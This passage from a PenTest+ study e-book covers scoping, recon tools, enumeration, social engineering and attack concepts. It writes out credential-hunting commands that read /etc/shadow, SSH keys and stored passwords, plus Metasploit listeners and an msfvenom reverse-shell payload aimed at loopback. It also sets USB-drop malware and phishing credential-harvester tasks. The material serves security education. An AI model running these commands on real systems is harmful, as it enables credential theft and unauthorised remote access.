Evading Security Solutions & Anti-Forensics......................................................................................... 59
Key Areas............................................................................................................................................... 60
Report Format ....................................................................................................................................... 60
Considerations ...................................................................................................................................... 60
Prioritising Findings ............................................................................................................................... 60
Authentication Recommendations ....................................................................................................... 60
Authentication Recommendations ....................................................................................................... 60
Input and Output Sanitisation .............................................................................................................. 60
Parametrisation of Queries (Declared Statements) .............................................................................. 61
Hardware and Software Hardening ...................................................................................................... 61
Hardening Measures ......................................................................................................................... 61
Mobile Device Management (MDM) .................................................................................................... 62
MDM Features .................................................................................................................................. 62
Secure Software Development ............................................................................................................. 63
Testing ............................................................................................................................................... 63
Microsoft Threat Modelling .................................................................................................................. 65
IEEE 802.11 Wireless Standard ............................................................................................................. 65
C2 Frameworks ..................................................................................................................................... 65
DNS Tunnelling ...................................................................................................................................... 65
External Resources ................................................................................................................................ 66
The Cyber Mentor Courses on Udemy .............................................................................................. 66
HackTheBox....................................................................................................................................... 66
TryHackMe ........................................................................................................................................ 66
Pluralsight ......................................................................................................................................... 66
Proctored Online Exam Details ............................................................................................................. 67
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 9
Online Practise Questions - Free ........................................................................................................... 67
Ordering Exam Vouchers ...................................................................................................................... 67
Vouchers Resellers ............................................................................................................................ 67
Windows Vulnerabilities ....................................................................................................................... 67
OS X ....................................................................................................................................................... 67
Resources & Useful Links ...................................................................................................................... 67
UAC Bypasses .................................................................................................................................... 67
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 10
Copyright
This document is copyright of Xservus Limited. It is free for public use to support educational efforts.
Document Control
Version
Version
Author
Date
Notes
Status
0.1
Daniel Card
23/07/2020
Initial Creation
Draft
0.2
Daniel Card
24/07/2020
Updated
Draft
0.3
Daniel Card
27/07/2020
Updates
following exam
Draft Release
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 11
A glimpse at mRr3b00t’s world
Hi, I’m Dan! Nice to meet you (if I don’t already know you)!
I’m an information technology and security professional (you know ‘teh Cyberz’) who has spent his
career on a constant learning journey. I’ve planned, built, broken, reviewed and sometimes
managed to break into a range of systems over the years. By day I help organisations improve their
technology and security management (I do this with my own style, blending traditional management
consultancy with hands on tech skills combined with a truck load of energy and passion) helping
organisations change the way they do things (hopefully for the better :D)
I spent a lot of my non project time also creating community content, games and sometimes finding
time to go and hax all the things in capture the flag games)
If for some reason you aren’t bored of my after reading some of my notes, feel free to come chat to
me online, I mostly hangout on Twitter (https://twitter.com/UK_Daniel_Card)
This is the first draft release of the notes I took whilst I did the Comptia Pentest+ course and exam
over ~1-week period.
Everything in here is draft, if you find something that’s totally wrong please let me know, if you think
there’s cool stuff I could add that’s great hit me up.
If you think you could do it better, please go and make your own and share all the things with the
world! I’m not a fan of gatekeeping and I try and share knowledge and content which I think can
help people (I’ve got a few videos on https://www.youtube.com/c/PwnDefend)
I really hope these notes are of at least some use, even if they are just interesting to see the process,
I went through to randomly decided to do a course and exam in the space of a week!
I managed to sit a ~25 hour CBT course on Pluralsight and book/take the exam in a week. The exam I
think I got 833 points in about 60 minutes. I’d highly recommend doing a lot more prep than I did, do
lab work, learn the craft and the theory! (also there’s loads of bits of paper you can get, the fun part
is the journey not the destination!)
Keep an eye out as well because I’ve trimmed some content out for this initial draft publish so there
might be more to come in the future!
Be safe, don’t have shit passwords and stop exposing RDP to the net in an insecure manner!
Peace! – mRr300t
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 12
Introduction
The modern world is filled with technology, the internet enabled global communications,
miniaturisation has provided the world with even more pervasive and embedded technology
services that are integrated into daily life. With this explosion of technology, we are currently in a
world where technology is so integrated into our lives that the role technology places would be
considered critical.
Banks, Power Plants, Factories, Healthcare Services, Restaurants, Shops, Transport Services, Cars,
Phones, Point of Sale systems, Water Supplies, you name it, it probably relies on a computer to
operate.
This e-book is designed to help people have a BASIC understanding of penetration testing. It is not a
complete guide to HACKING THE PLANET and only touches on tools, techniques and practises that
are used in the cyber realm to affect the CONFIDENTIALITY, INTEGRITY or AVAILABILITY of digital
assets.
I’ve based the core of this on intel which will help people in foundational certificates such as the
PenTest+ but these are also foundational areas which can support:
•
eJPT
•
OSCP
•
CEH
This isn’t an official guide, it’s not a HOW TO, it’s simply a collection of information I collected,
curated and created whilst I was doing some exploration. I’ve tried to add my own spin to some
areas, if I see something that’s totally missing or needs modernising, I’ve tried to call this out. It is
not designed as a book to read, you will NEED to develop, train and grow your skills using labs and
penetration testing platforms such as:
•
TryHackMe
•
HackTheBox
•
VulnHub
•
Vulnerable VMs
•
Vulnerable Training Tools (e.g. OWASP Juice Shop, OWASP BWA, OWASP Mutillidae 2)
And if you keep an eye out, maybe a PwnDefend CTF game!
I’d also highly recommend that you leverage either an online training service (such as Pluralsight or
ITPRO.TV) or a formal instructor led course. Self study has some limitations, your view/viewpoint
may
Disclaimer
Using offensive security testing techniques without authorisation from the asset owner is almost
certainly illegal. Use these at your own risk. Do NOT break the LAW!
The materials in this document are not endorsed by any third-party company. The content here is
NOT specific to a single course, certification, framework
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 13
Realities of System Security Assurance Activities
•
Penetration testing is not a single task, there are many views, viewpoints and perspectives.
•
Penetration is not a silver bullet
•
When we look at spend on penetration testing vs revenue of a business the % is tiny, bear
that in mind!
•
This is not Hollywood; you will NOT be raining in shells getting r00t and owning everything
you see. Even if you can get a shell, your scope may indicate that’s the end of the test.
•
In unauthenticated black box external web tests you might see people say the expression
‘SHELLS are DREAMS’ – that’s because the % likelihood of you finding RCE or having enough
time to successfully execute a potential vulnerability may be far more limited than you think.
•
Penetration testing is NOT red teaming
•
Red teaming also has a defined scope
•
You can do security testing without calling it a penetration test of RED team
•
Penetration testing without doing any other security assurance activity first is normally not
very efficient or recommended
•
White box testing is generally more efficient
•
Report writing takes time (if you want to have a good report that is)
•
You might not find EVERY vulnerability (in fact I’d say it’s unlikely you will find EVERYTHING
ever)
•
The landscape is fast moving secure today != secure tomorrow
•
Penetration testing is POINT IN TIME
•
You will almost certainly need help, built a network of trusted peers, colleagues and friends
is a highly recommended thing to do
•
There are constraints (a lot more than people think of)
•
Security testing requires a broad and deep level of experience not only with exploitation but
also to be able to articulate remediations and mitigations.
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 14
Learning Modules
There’s a whole heap of things you need to know about conducting a penetration test, and it may
come to a surprise to many but there’s a lot of logistics, planning and paperwork that’s involved.
I’m not going to be exhaustive here (or highly verbose) but rather highlight some key areas for you
to think about.
Sales
Penetration testing isn’t normally conducted in house; therefore, you should be aware that there is a
requirement for services to be SOLD. So, consider things like the following:
•
Margin/Revenue
•
Market Positioning
•
Costs
•
Timescales
•
Certifications
•
Standards
Sales is not easy but it’s critical that the sales process is conducted in a manner then ensures both
the recipient and the provider (that’s you) get value. Realise there are constraints but also realise
that in sales you can say no. We are here to help people, not just tell them yes. Not everyone in the
world is good at scoping their own requirements let along designing a penetration test that’s valid
for their specific scenario so communication here is key.
Scoping
Test Focus
•
Objective
•
Compliance
Test Types
•
Black Box
•
Grey Box
•
White Box
•
Hybrid
Test Scope Definition
•
Authenticated, Unauthenticated
•
Social Engineering
•
Denial of Service, Stress Testing
•
Web, Application, API, Infrastructure, Hardware, Wireless
•
Inclusions
•
Targets and Test Types
•
Exclusions
•
Constraints
•
Times of Testing
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 15
Planning
•
Authorisations and Waivers
•
Scope Agreement
•
Rules of Engagement
•
Scheduling
•
Communications
•
Escalations
The Penetration Testing Project
•
Passive Recon
•
Active Recon
•
Vulnerability Assessment
•
Penetration
•
Exploitation
•
Post Exploitation
This is not the ONLY flow, and, it’s iterative and can jump around.
•
Post Test Clean-up
Reporting, Findings and Recommendations
•
Exec Summary
•
Categorisation of Findings
•
Priority
•
Standards such as CVSS
•
Safe handling of information and documents
Debriefing
•
Post Testing and report creation debrief
o Ensure key sponsor is kept up to date and in the loop
o Brief wider team
▪
Two-way communication flow
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 16
Penetration Testing Tools – The basics
We have put a list of tools that are covered in the PenTest+ course (but these are also applicable to
any penetration testing service or course). Where possible links to tools and download locations
have been provided. Clearly you can deploy a security testing distro such as Kali Linux, Parrot etc.
buy you may want to simply install Ubunt or use Windows and WSL 2.
Open Source Intelligence Gathering Tools
•
Whois
•
Nslookup
•
FOCA (https://github.com/ElevenPaths/FOCA)
•
Maltego (https://www.maltego.com/)
•
TheHarvester (https://github.com/laramies/theHarvester)
•
Shodan (https://www.shodan.io/)
•
Recon-ng (https://github.com/lanmaster53/recon-ng)
Network and Vulnerability Scanning Tools
•
Nmap (https://nmap.org/download.html)
•
Nikto (https://cirt.net/Nikto2)
•
OpenVAS (https://www.openvas.org/)
•
SQLMap (https://github.com/sqlmapproject/sqlmap)
•
Nessus (https://www.tenable.com/products/nessus)
Credential Testing Tools
•
John (https://www.openwall.com/john/)
•
Hashcat (https://hashcat.net/hashcat/)
•
Medusa (https://github.com/jmk-foofus/medusa)
•
THC-Hydra (https://github.com/vanhauser-thc/thc-hydra)
•
CeWL (https://github.com/digininja/CeWL/)
•
Cain and Abel
(https://web.archive.org/web/20190603235413if_/http://www.oxid.it/cain.html)
•
Mimikatz (https://github.com/gentilkiwi/mimikatz)
•
Patator (https://github.com/lanjelot/patator)
•
Dirbuster (https://sourceforge.net/projects/dirbuster/)
•
W3AF (http://w3af.org/download)
Debugging Tools
•
OLLYDBG (http://www.ollydbg.de/download.htm)
•
Immunity debugger (https://www.immunityinc.com/products/debugger/)
•
Gdb (https://www.gnu.org/software/gdb/download/)
•
WinDBG (https://docs.microsoft.com/en-us/windows-
hardware/drivers/debugger/debugger-download-tools)
•
IDA (https://www.hex-rays.com/products/ida/support/download_freeware/)
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 17
Software Assurance Tools
•
FindBugs (http://findbugs.sourceforge.net/)
•
FindSecBugs (https://find-sec-bugs.github.io/)
•
Peach (http://community.peachfuzzer.com/WhatIsPeach.html)
•
AFL (American Fuzzy Lop) (https://github.com/google/AFL)
•
SonarQube (https://www.sonarqube.org/downloads/)
•
YASCA (https://sourceforge.net/projects/yasca/)
Wireless Testing
•
Aircrack-ng (https://www.aircrack-ng.org/downloads.html)
•
Kismet (https://www.kismetwireless.net/downloads/)
•
WiFite (https://github.com/derv82/wifite2)
•
WiFi-Pumpkin (https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated)
Web Proxy Tools
•
OWASP ZAP (https://www.zaproxy.org/download/)
•
BURP Suite (https://portswigger.net/burp/communitydownload)
Social Engineering Tools
•
Social Engineering Toolkit (https://github.com/trustedsec/social-engineer-toolkit)
•
BeEF (Browser Exploitation Framework) (https://github.com/beefproject/beef)
Remote Access Tools
•
SSH
•
Ncat (https://nmap.org/ncat/)
•
Netcat
•
Proxychains (https://github.com/haad/proxychains)
Network Tools
•
Wireshark (https://www.wireshark.org/download.html)
•
Hping (https://github.com/antirez/hping)
Mobile Tools
•
Drozer (https://github.com/FSecureLABS/drozer)
•
APKX (https://github.com/b-mueller/apkx)
•
APK Studio (https://github.com/vaibhavpandeyvpz/apkstudio/releases)
Misc Tools
•
Powersploit (https://github.com/PowerShellMafia/PowerSploit)
•
Searchsploit (https://www.exploit-db.com/searchsploit)
•
Responder (https://github.com/SpiderLabs/Responder)
•
Impacket (https://github.com/SecureAuthCorp/impacket)
•
Empire (C2) (https://github.com/EmpireProject/Empire)
•
Metasploit (https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 18
Lab Environment
Dependencies
•
An internet connection
•
A Host System that supports running a type 2 hypervisor or Cloud IaaS provider
o Enough CPU resources
o 16GB RAM
o 1TB Storage
•
A type-2 hypervisor such as:
o Oracle Virtual Box
o Hyper-V
o VMWare Workstation
o VMWare Fusion
Guest Operating Systems
•
Kali Linux
•
Black Arch
•
Parrot OS
•
Windows 7 Pro Eval
•
Windows 10 Enterprise Eval
•
Windows Server 2016 Eval
•
Windows Server 2019 Eval
Getting ISOs etc. isn’t always simple however you can use tools such as RUFUS:
https://rufus.ie/
from the vendor sites or using this tool:
https://www.heidoc.net/joomla/technology-science/microsoft/67-microsoft-windows-and-office-
iso-download-tool
Vulnerable Pre-Made Targets
Multipliable (https://information.rapid7.com/metasploitable-download.html)
OWAS-BWA (https://sourceforge.net/projects/owaspbwa/)
Extras For learning
OWAS JUICE SHOP (https://owasp.org/www-project-juice-shop/)
DVWA (http://www.dvwa.co.uk/)
•
Hack the Box (https://www.hackthebox.eu/)
•
TryHackMe (https://tryhackme.com/)
•
VulnHub (https://www.vulnhub.com/)
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 19
Penetration Testing Standards and
Frameworks
Types of Penetration Test
•
Objective Based
•
Target Based
•
Compliance Based
Frameworks
•
OSSTMM
•
PTES
•
OWASP ASV
•
CHECK
•
ISSAF
•
NIST
Resources
http://www.pentest-standard.org/index.php/Main_Page
https://www.ncsc.gov.uk/information/check-penetration-testing
https://owasp.org/www-project-application-security-verification-standard/
https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
https://www.isecom.org/research.html
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 20
Penetration Testing Phases
Project
Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement
It’s not all pew pew bang bang, there is a lot to be considered, planned, agreed and scheduled.
Penetration Testing Phases
Post Exploitation
Report Creation and Delivery
Key Stakeholder and Team Playback
This is (in my opinion) an undervalued activity area but also one that does not receive the attention
it deserves. This part is the key element to a security assurance testing project, a lot of people
consider the report to be the outcome of a pen test, and from a standard point of view that might be
the case, however what I’ve know is that unless you are simply ticking a box, they key value is
ensuring the recipient of the test understands not only what the findings mean tot them in terms of
business risk, likelihood, confidence and impact but also how to develop remedial or mitigation
strategies (this includes advising on how to avoid creation of the vulnerabilities in the first place).
It’s important not only to ensure the recipients understand the findings but also ensure that
additional business contextualisation occurs, not every finding will be acted upon and sometimes
that for a very valid business reason (other times you may need to really outline what the potential
impacts may be). Either way, communication is key! Remember the objective is to improve the
security posture through identification of weaknesses.
Passive
Recon
Active Recon
Vulnerability
Assessment
Penetration
Exploitation
Post
Exploitation
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 21
Pentest – Recon
Our goal here is to understand as much about the target as possible both from a passive perspective
and an active perspective.
Tool bag
•
Whois
•
Nslookup
•
FOCA (https://github.com/ElevenPaths/FOCA)
•
Maltego (https://www.maltego.com/)
•
TheHarvester (https://github.com/laramies/theHarvester)
•
Shodan (https://www.shodan.io/)
•
Recon-ng (https://github.com/lanmaster53/recon-ng)
You are also going to want to use several services such as:
•
Public facing websites
•
GitHub Repositories
•
Social Media Sites
•
Search Engines
•
News Sites/Press Releases
•
Job Descriptions/Job Adverts
We are also going to want to use other tools such as:
The Internet Archive WayBack machine:
https://archive.org/web/
Recon Types and Focuses
With regards to penetration testing there are 2 types of recon:
1. Passive Recon
2. Active Recon
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 22
Passive Recon
During passive recon we don’t directly touch the target environment. Instead we leverage alterative
data sources to enumerate information about the target organisation and scope.
Search Engines
Example – Google Dorking
Before we hit some of the syntax there’s a cool db and loads of web resources on this topic:
https://www.exploit-db.com/google-hacking-database
Types
•
site:
•
filetype:
•
inurl:
•
intitle:
Operators
•
OR
•
AND
Example
DNS
We can search dns using a tool as simple as “nslookup”
Other tools exist such as:
•
Dig (Domain Information Groper)
•
DNSRecon (https://tools.kali.org/information-gathering/dnsrecon)
Maltego
Maltego comes in a variety of shapes and sizes, Community, Classica, XL etc.
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 23
https://www.maltego.com/
Maltego is a great tool at collecting, collating, creating and visualising data using graphs for open
source intelligence gathering and analysis.
Spiderfoot
Spiderfoot isn’t included in PenTest+ to my knowledge but it should be! There’s both an open source
version of spider foot but also a hosted commercial version called Spiderfoot-HX
Shodan
Shodan is a search engine for systems, devices and services.
https://www.shodan.io
Recon-NG
Recon-NG is a great tool that also integrates into a large range of tools via API keys.
The Harvester
Documenting Findings
Once you have gathered intelligence on you target you need to filter it and ensure the data you are
creating is supportive of your objectives.
You are trying to find intel that helps:
•
User lists/Email Lists
•
Organisation Data
•
Organisation Structure
•
Suppliers
•
Remote Access Services
•
Physical Locations
•
Network and DNS information
•
Products and Services
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 24
Active Recon
Here our systems connect to the target services.
Network Scanning
•
Nmap
•
Nikto
•
Metasploit
Nmap (Network Mapper)
Nmap basic scan scans the most common TOP 1000 ports (not the first 1-1000 ports)
Common scan types
•
Connect Scan (Full Scan) – This does a 3-way handshake
•
SYN Scan (Half Open) – This does the first step of the handshake sending SYN, gets a SYN-
ACK and then never completes the conversation
•
Tracert (Conducts a traceroute)
•
Ping (uses ICMP protocol to echo the target)
•
UDP Scan (super-fast UDP scan =”nmap -sU --defeat-icmp-ratelimit” required nmap 7.4)
•
NULL Scan (TCP Packets with no FLAGS set)
•
FIN Scan
A common scan people use:
nmap -vvv -O -sV -sC -sS -T4 -oA results 192.168.1.1
This scan will be verbose (x3), will detect operating system version (-O), Service Vesions (-sV)
Scanning ranges
Nmap {Scan Options} 192.168.1.0/25
-sn = ping sweep
-PR = arp scan
-PA = Non existent TCP Connections
XMAS Tree Scan
-sX
OS Identification Through TTL
Different OS’s respond to ICMP echo with different TTLS
https://subinsb.com/default-device-ttl-values/
There’s load there but you just need to know the common ones like:
•
Common Windows Versions
•
Linux Versions
OS
TTL
Linux/Unix
64
Windos
128
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 25
Solaris/AIX
254
Packet Crafting
Creation of bespoke packets (hping, hping3 etc.)
•
Create
•
Edit
•
Play
•
Decode
Network Mapping Tools
•
ZenMAP
•
SpiceWorks
•
WhatsUPGOld
•
TheDUDE
•
Nagios
•
SolarWinds
Mapping the Network with Metasploit
•
Metasploit Framework
•
Community
•
Express
•
Pro
Now using Metasploit is fairly simple but it’s far too in depth for here!
Armitage
Included with KALI but no longer in development
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 26
Cobalt Strike
A commercial offering created by the author of Armitage
Other C2 Servers
•
Empire
•
Coventant
Enumerations Basics
Banner Grabbing
We can grab banners using tools such as telnet, nc, nmap etc.
To enumerate a banner with nmap we use -sV
We can also enumerate banners and service information manually using tools like telnet, netcat/nc
etc.
Telnet
SMB
SMTP
•
SMTP Port is 25
•
Encrypted SMTP uses port 587
•
VRFY is used to check a mailbox
•
EXPN is used to check a group
FTP
FTP Attacks include BOUNCE. A BOUNCE attack uses one FTP server to MiTM another FTP Server.
On box enumerations
Using tools interactively / from an authenticated point of view such as:
Netstat (Windows and Unix Based Systems)
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 27
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 28
Basic Local Windows Enumeration
Command Execution (using cmd.exe shell)
Dir
Cd
hostname
Whoami
Whoami /privs
echo %path%
Ipconfig /all
Route print
Arp -a
Net use
Systeminfo
Net Start
Net users
Net localgroup
Net user administrator
Net localgroup administrators
Net localgroup ‘remote management users’
Net localgroup ‘remote desktop users’
Net localgroup ‘Backup Operators’
Net localgroup administrators
netstat -ano
netsh firewall show state
schtasks /query /fo LIST /v
tasklist /SVC
Driverquery
wmic qfe get Caption,Description,HotFixID,InstalledOn
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
dir /s *pass* == *cred* == *vnc* == *.config* ==*.txt*
findstr /si password *.xml *.ini *.txt *.config *.xlsx *.docx
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
wmic process list brief | find "winlogon"
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v
"c:\windows\\" |findstr /i /v """
Clearing Up Output (cmd.exe)
| #pipe output
> #output to file (overwrite)
>> #output to file (append)
| findstr #find a string in the output
PowerShell (using PowerShell)
Get-Command #show all commands
Get-LocalGroup
Get-LocalGroupMember administrators
Get-ChildItem -Path c:\ -Include *.docx,*.doc,*.xlsx,*.xls,*.config,*.ini -file -recurse -erroraction
silentlycontinue | select-string password
Get-Hotfix
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 29
Basic Linux Enumeration
There are a ton of tools you can use from Enum4Linux, the Metasploit modules, smbclient, ftp,
grep.. honestly there’s a lot so lets’ look at some common tools:
•
Enum4Linux
•
Impacket
•
Metasploit
•
Nmap (we won’t cover that again)
Enum4Linux -a -u administrator -p Pa55w0rd1 192.168.1.1
Metasploit
There are hundreds of moudles
Using Metasploit to hunt for SMB shares on a range (change the CIDR range on RHOSTS to suit)
msfconsole
search smb_enumshares
use auxiliary/scanner/smb/smb_enumshares
info
options
set RHOSTS 192.168.1.0/24
run
Cool msf commands
setg #setglobal – makes the option stick between modules e.g. setg LHOST 192.168.1.10
set verbose true # enables verbose output
#RUN A LISTENER from the CLI on one line
msfconsole -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set
LHOST 0.0.0.0;set ExitOnSession False;run"
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 30
On Box Enumeration (Linux)
BASH (Basic Enumeration)
whoami
whoami
ifconfig
ip a
arp
uname -a
route
netstat -antp
netstat -anup
mount
df -a
dpkg -l
ps
ps aux
ps aux | grep root
ps -ef | grep root
ps -ef
cat /etc/services
cat /etc/passwd
cat /etc/shadow
apache2 -v
mysql --version
cat /etc/groups
cat /etc/resolv.conf
nmap –version
find / -name nc 2>/dev/null
crontab -l
grep -i password /etc/my.ini
cat /etc/sudoers
cat ~/.bash_history
cat ~/.ssh/id_rsa
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
METASPLOIT (Basic Enumeration)
Modules
Post Modules require a SESSION to be established:
linux_enum_system
linux_enum_cofigs
linux_enum_network
linux_protections
linux_enum_user_history
Local Shell Test
The following test just let’s you connect to youself on your loopback address on TCP port 9999
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 31
Metasploit Console
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LPORT 9999
set LHOST 0.0.0.0
set ExitOnSession FALSE
run -j
Local Linux Machine (x64 Architecture)
#Create a Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f elf > shell.elf
#set as executeable
chmod +x shell.elf
#run the payload
./shell.elf
You should see a local connection
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 32
We are now in a position where we can run POST modules:
use post/linux/gather/enum_system
set SESSION 2 #change the ID to match your session number – check sessions -l
run
NULL SESSIONS
SMB Prior to Server 2003 on Windows machines but also older versions of SAMBA also have this
vulnerability.
To enumerate this, we can simply use:
Net use \\target\ipc$ /U: "" ""
Net view \\target
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 33
WebServer Enumeration
HTTP Response codes
•
HTTP 401
•
HTTP 403
•
HTTP 404
•
HTTP 200
•
HTTP 402
These can be enumerated using a browser and developers’ mode, a web proxy tool like BURP,
FIDDLER or OWAS ZAP or using tools like nmap etc.
nmap --script=http-enum 192.168.1.1
nmap --script=http-php-version 192.168.1.1
nmap --script=http-wordpress-enum 192.168.1.1
Vulnerability Scanning
Tools
•
OpenVAS
•
Nessus
•
Qualys
•
Rapid7 Nexpose
I’d recommend downloading evals/trials and checking these out.
Scripting
Common Scripting/Programming Languages
Generally Interpreted
•
Bash (tied to OS:NIX)
•
Batch (Tied to OS DOS/WINDOWS)
•
PowerShell
•
Python
o Python2
o Python3
•
Perl
•
Ruby
•
PHP
•
VBScript
•
VBA
•
Javascript
Compiled
•
C
•
C++
•
C#.net
•
.net
•
Visual Basic
•
GoLang
•
Java
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 34
Penetration Testing Documentation Tools
•
CVSS Calculators
•
CWE
•
DRADIS Community
•
DRADIS Pro
•
AttackForge
Report/Note Taking Tools
There are literally tons of tools that can be used for note taking and report writing, some of these
include:
•
Microsoft Word (I wrote this e-book in MS WORD, I write my reports in WORD too)
•
Microsoft OneNote
•
CherryTree
•
EverNote
•
Notion
Diagramming Tools
•
Microsoft Visio (Windows)
•
https://draw.io
•
Smart Draw (OS X)
•
OmniGraffle (OS X)
•
Archimate
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 35
Social Engineering & Non ‘Technical’
Attacks
•
Non-Technical Attacks
•
Dumpster Diving
RFID Duplicators
•
Keysys
•
PROXMOX
Techniques
•
Social Engineering
o Target Eval
o Pretext/Pretexting (back story and context)
o Psychological Manipulation
o Building Relationships
o Motivations
▪
Authority
▪
Scarcity
▪
Urgency
▪
Social Proof
▪
Likeness
▪
Fear
o Impacts
•
USB Drop
o In a test by a university a USB drop showed the following stats:
▪
297 Drives Dropped
▪
45% Phoned Home
o Build by loading a USB drive using:
▪
Autorun.inf
▪
Embedded malware in documents, binary etc.
▪
Use a HID attack (see Rubber Ducky)
o Make them attractive
▪
Use themed drives
▪
Add logos
▪
Add labels
▪
Add keys
o Think about there they are placed
o Task: Place a malicious Binary on a USB drive:
▪
Example: use msfvenom to create a payload
▪
Demo this connecting to a listener
•
Physical Attacks
•
RFID Attacks
•
Phishing
o Phishing Types
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 36
▪
Email (Phishing)
▪
SMS (SMISHING)
▪
Phone (Vishing)
▪
Social Media
▪
Pharming
▪
Spear Phishing/Whaling/Gaming/Live Chat
▪
Physical Phishing
o Social Engineering Toolkit (SET)
o Evilginx
o GoPhish
•
Lockpicking
•
Motion Sensors
•
Alarms
Phishing Task
Task: Use Social Engineering Toolkit to demo a PISHING attempt using the credential harvester
method to clone a site. Send a phishing email to yourself on a sperate account using a public email
service like outlook.com or google mail.
Physical Attacks
Physical Controls
•
Conduct Recon
•
Dumpster Dive
•
Visit the target
•
Photograph the Target
•
Deliver an implant
•
Steal a Device
•
Steal badges/ID
•
Fences
•
Gates
•
Tailgating
•
Lockpicking
•
Look for ways to bypass controls
Door Access Controls
•
Compressed Air/Vapes/Paper to bypass motion sensory or magnetic locks
•
Reach Around/Under
•
Lockpicks
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 37
Enumeration, Vulnerability Identification
Picking a vulnerability scanning
•
Opens Source vs Commercial
•
On Premises vs Cloud
•
Documentation and Outputs
Tooling
•
Golismero
•
Sparta
•
OPENVAS
•
Kali
o Nmap
o Nikto
•
Nessus
•
Qualys
•
Rapid7 Nexpose
Picking a vulnerability scanning Tool
Open source vs Commercial
•
Pick one to suit your business requirements
•
Consider features
•
Look at false positive rates
•
Look at reporting and output formats etc.
•
Scope of features
Cloud vs On Premises
•
Pick solutions to fit your requirements
•
Do you need to test air gapped networks?
•
Ensure plugins are up to date
Interpreting Output
Asset Categorisation
•
The act of grouping assets
o Organization/Defender View
o “Pentester” View
Adjudication
The act of going through and evaluating the threat those pose to the target organisation.
False Positives
When a service is incorrectly identified as being vulnerable when it is in fact, not vulnerable.
Common Themes
Conditions that re-occur all the time such as:
•
Behaviour Patterns
•
Naming standard patterns
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 38
•
Policies being ignored
•
Weak physical security
•
Inadequate Training
•
Weak security configurations
•
Poor Software development practises
•
Insecure network protocols (e.g. TELNET, FTP)
•
Obsolete cryptography
Prioritization
Ranking vulnerabilities in terms of priority for exploitation/impact and/or remediation.
Mapping & Prioritisation
•
Mapping customer assets and relationships
•
Mapping processes, people, activities etc.
•
Consider times of events, activities etc.
Creating a ‘picture’ of the attack surface landscape.
Attack Techniques
•
Denial of Service Attack
•
Hijacking
•
Man-in-The-Middle
•
Credential reuse
•
Password Attacks
•
Social Engineering
•
Injection
Techniques
•
Social Engineering
•
Planting a Device/Implant
•
Remote Access
•
Wireless Attacks
•
Conspiring with an internal threat actor
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 39
Exploits & Payloads
Exploit
An exploit is the action/mechanisms to exploit a vulnerability (e.g. Unauthenticated RCE, Path
Traversal, Code Injection)
Payload
A payload is the code that will run on the target e.g.
•
Meterpreter
Staged vs Upstaged Payloads
A staged payload is small payload which downloads the full payload.
An untagged payload simply runs following the exploit.
Cross Compiling Code
Exploit Modification
•
Debugging
•
Shell Code creation
Exploit Chaining
The act of chaining multiple exploits together.
Proof of Concepts
An exploit that is created to highlight and validate a vulnerability and exploit chain.
Deception Tactics
•
Creating a distraction
o Social Engineering
o Other Attacks
o Distracting event
Password Attacks
•
Brute Force
•
Wordlists
•
Hybrid
•
Rainbow Tables
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 40
Network Penetration Testing
Attacks
Ethernet & TCP/IP Networks
•
Sniffing
o Network cards including Wireless cards must be in promiscuous mode
o TPC, IP, ARP, ICMP, IGMP, LDAP, SNMP, SMTP, SMB, FTP DNS DHCP, POP3, IMAP,
UDP, and HTTP can all be sniffed (any cleartext protocol)
•
Eavesdropping
•
ARP Poisoning
o The act or sending our AC address out identifying as the default gateway to route
traffic through our host
▪
IP forwarding
▪
DNS Poisoning
▪
Ettercap
•
TCP Session Hijacking
o The user/machine must have authenticated before
